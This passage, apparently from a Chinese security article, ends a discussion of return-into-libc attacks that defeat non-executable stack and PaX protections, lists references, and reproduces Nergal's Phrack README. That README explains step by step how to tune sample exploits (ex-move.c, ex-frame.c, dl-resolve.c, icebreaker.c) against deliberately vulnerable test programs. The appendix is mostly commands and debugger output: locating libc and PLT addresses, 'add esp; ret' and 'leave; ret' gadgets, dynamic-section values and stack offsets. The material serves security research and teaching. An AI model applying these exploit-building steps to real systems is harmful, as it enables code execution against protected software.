二:可对抗象Solar's patch把所有的libraries基地址mmap到0x00110000地址这个特性。
三:可对抗象pax把libraries mmap到随机不可猜测地址这个特性

现在所有的焦点又落在PLT上,就象waring3写的<<绕过Linux不可执行堆栈保护的方法浅析 >>
最后说到的:"一种可能的解决方法就是将PLT也映射到内存空间的低16M地址去,那这些攻击方法
就会失效了。"。但是这可能吗?!这样做以后导致的应用程序的通用性和兼容性问题又如何解决?
这值得探讨。
ELF有太多的特性可以被利用。以后的*unix下的exploit技术会越来越会和ELF的特性结合起来。

pax本站[7]好象访问不了:(
我已经把它放到xfocus上了,可到如下url下载:
http://www.xfocus.net/download.php?id=311


★ Referenced publications and projects

[1] Aleph One
the article in phrack 49 that everybody quotes
[2] Solar Designer
"Getting around non-executable stack (and fix)"
http://www.securityfocus.com/archive/1/7480
[3] Rafal Wojtczuk
"Defeating Solar Designer non-executable stack patch"
http://www.securityfocus.com/archive/1/8470
[4] John McDonald
"Defeating Solaris/SPARC Non-Executable Stack Protection"
http://www.securityfocus.com/archive/1/12734
[5] Tim Newsham
"non-exec stack"
http://www.securityfocus.com/archive/1/58864
[6] Gerardo Richarte, "Re: Future of buffer overflows ?"
http://www.securityfocus.com/archive/1/142683
[7] PaX team
PaX
http://pageexec.virtualave.net
[8] segvguard
ftp://ftp.pl.openwall.com/misc/segvguard/
[9] ELF specification
http://fileformat.virtualave.net/programm/elf11g.zip
[10] Paul Starzetz
Runtime addressSpace Extender
http://www.ihaquer.com/software/rsx/
[11] Wojciech Purczynski
kNoX
http://cliph.linux.pl/knox
[12] grugq
"Cheating the ELF"
http://hcunix.7350.org/grugq/doc/subversiveld.pdf

附件一:

<++> phrack-nergal/README.code !35fb8b53

The advanced return-into-lib(c) exploits:
PaX case study
Comments on the sample exploit code

by Nergal



First, you have to prepare the sample vulnerable programs:
$ gcc -o vuln.omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
$ gcc -o pax pax.c
You may strip the binaries if you wish.



I. ex-move.c
~~~~~~~~~~~~

At the top of ex-move.c, there are definitions for LIBC, STRCPY,
MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them.
MMAP_START can be left untouched.

1) LIBC
[nergal@behemoth pax]$ ldd ./vuln.omit
libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

2) STRCPY
[nergal@behemoth pax]$ objdump -T vuln.omit

vuln.omit: file format elf32-i386

DYNAMIC SYMBOL TABLE:
08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info
08048358 DF *UND* 0000010c GLIBC_2.0 getenv
08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info
08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main
08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize
08048530 g DO .rodata 00000004 Base _IO_stdin_used
00000000 w D *UND* 00000000 __gmon_start__
08048398 DF *UND* 00000030 GLIBC_2.0 strcpy
^
|---- this is the address we seek

3) MMAP
[nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap
000daf10 w DF .text 0000003a GLIBC_2.0 mmap
000db050 w DF .text 000000a0 GLIBC_2.1 mmap64
The address we need is 000daf10, then.

4) POPSTACK
We have to find "add $imm,%esp" followed by "ret". We must
disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit".
To simplify, we can use
[nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret
...some crap
--
80484be: 83 c4 2c add $0x2c,%esp
80484c1: c3 ret
--
80484fe: 5d pop %ebp
80484ff: c3 ret
--
...more crap
We have found the esp moving instructions at 0x80484be.

5) POPNUM
This is the amount of bytes which are added to %esp in POPSTACK.
In the previous example, it was 0x2c.

6) PLAIN_RET
The address of a "ret" instruction. As we can see in the disassembler
output, there is one at 0x80484c1.

7) FRAMES
Now, the tough part. We have to find the %esp value just after the
overflow (our overflow payload will be there). So, we will make vuln.omit
dump core (alternatively, we could trace it with a debugger). Having adjusted
all previous #defines, we run ex-move with a "testing" argument, which will
put 0x5060708 into saved %eip.
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped) <- all OK
[nergal@behemoth pax]$ gdb ./vuln.omit core
(no debugging symbols found)...
Core was generated by ./vuln.omit'.
Program terminated with signal 11, Segmentation fault.
#0 0x5060708 in ?? ()
If in the %eip there is other value than 0x5060708, this means that
we have to align our overflow payload. If necessary, "scratch" array in
"struct ov" should be re-sized.
(gdb) info regi
...
esp 0xbffffde0 0xbffffde0
...
The last value we need is 0xbffffde0.



II. ex-frame.c
~~~~~~~~~~~~~~

Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC,
STRCPY, MMAP and FRAMES should be determined in exactly the same way like in
case of ex-move.c. LEAVERET should be the address of a "leave; ret"
sequence; we can find it with
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
8048335: c9 leave
8048336: c3 ret
--
80484bd: c9 leave
80484be: c3 ret
--
8048518: c9 leave
8048519: c3 ret

So, we may use 0x80484bd for our purposes.



III. dl-resolve.c
~~~~~~~~~~~~~~~~~

We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION
defines. As they refer to dl-resolve binary itself, we have to compile it
twice with the same compiler options. For the first compilation, we can
#define dummy values. Then, we run
[nergal@behemoth pax]$ objdump -x dl-resolve
In the output, we see:
[...crap...]
Dynamic Section:
NEEDED libc.so.6
INIT 0x804839c
FINI 0x80486ec
HASH 0x8048128
STRTAB 0x8048240 (!!!)
SYMTAB 0x8048170 (!!!)
STRSZ 0xa1
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x80497a8
PLTRELSZ 0x48
PLTREL 0x11
JMPREL 0x8048354 (!!!)
REL 0x8048344
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048314
VERNEEDNUM 0x1
VERSYM 0x80482f8 (!!!)

The PLT_SECTION can also be retrieved from "objdump -x" output
[...crap...]
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 080480f4 080480f4 000000f4 2**0
...
11 .plt 000000a0 080483cc 080483cc 000003cc 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
So, we should use 0x080483cc for our purposes. Having adjusted the
defines, you should compile dl-resolve.c again. Then run it under strace. At
the end, there should be something like:
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123) = ?

As we see, mmap() is called, though it was not present in
dl-resolve.c's PLT. Of course, I could have added the shellcode execution,
but this would unnecessarily complicate this proof-of-concept code.




IV. icebreaker.c
~~~~~~~~~~~~~~~~

Nine #defines have to be adjusted. Most of them have already been explained.
Two remain: FRAMESINDATA and VIND.

1) FRAMESINDATA
This is the location of a static (or malloced) variable where the fake
frames are copied to. In case of pax.c, we need to find the address of
"bigbuf" array. If the attacked binary was not stripped, it would be easy.
Otherwise, we have to analyse the disassembler output. The "bigbuf" variable
is present in the arguments to "strncat" function in pax.x, line 13:
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
So we may do:
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c DF *UND* 0000009e GLIBC_2.0 strncat
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c
objdump: pax: no symbols
8048362: ff 25 c8 95 04 08 jmp *0x80495c8
8048368: 00 00 add %al,(%eax)
804836a: 00 00 add %al,(%eax)
804836c: ff 25 cc 95 04 08 jmp *0x80495cc
--
80484e5: 68 ff 03 00 00 push $0x3ff <- 1023
80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr
80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf
80484f2: e8 75 fe ff ff call 0x804836c

So, the address of bigbuf is 0x8049ac0.

2) VIND
As mentioned in the phrack article, we have to determine [lowaddr, hiaddr]
bounds, then search for a null short int in the interval
[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8].

[nergal@behemoth pax]$ gdb ./icebreaker
(gdb) set args testing
(gdb) r
Starting program: /home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? () <- icebreaker executed pax
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x5060708 in ?? () <- pax has segfaulted
(gdb) shell
[nergal@behemoth pax]$ ps ax | grep pax
1419 pts/0 T 0:00 pax
[nergal@behemoth pax]$ cat /proc/1419/maps
08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax
08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax
^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr
4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so
4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so
4ffcd000-4ffce000 rw-p 00000000 00:00 0
4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so
500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so
500f5000-500f9000 rw-p 00000000 00:00 0
bfff6000-bfff8000 rw-p fffff000 00:00 0
[nergal@behemoth pax]$ exit
exit
(gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8
0x804847b
(gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8
0x804867b
/* so, we search for a null short in [0x804847b, 0x804867b]
(gdb) printf "0x%x\n", 0x804867b-0x804847b
0x200
(gdb) x/256hx 0x804847b
... a lot of beautiful 0000 in there...

Now read the section 6.2 in the phrack article, or just try a few of the
addresses found.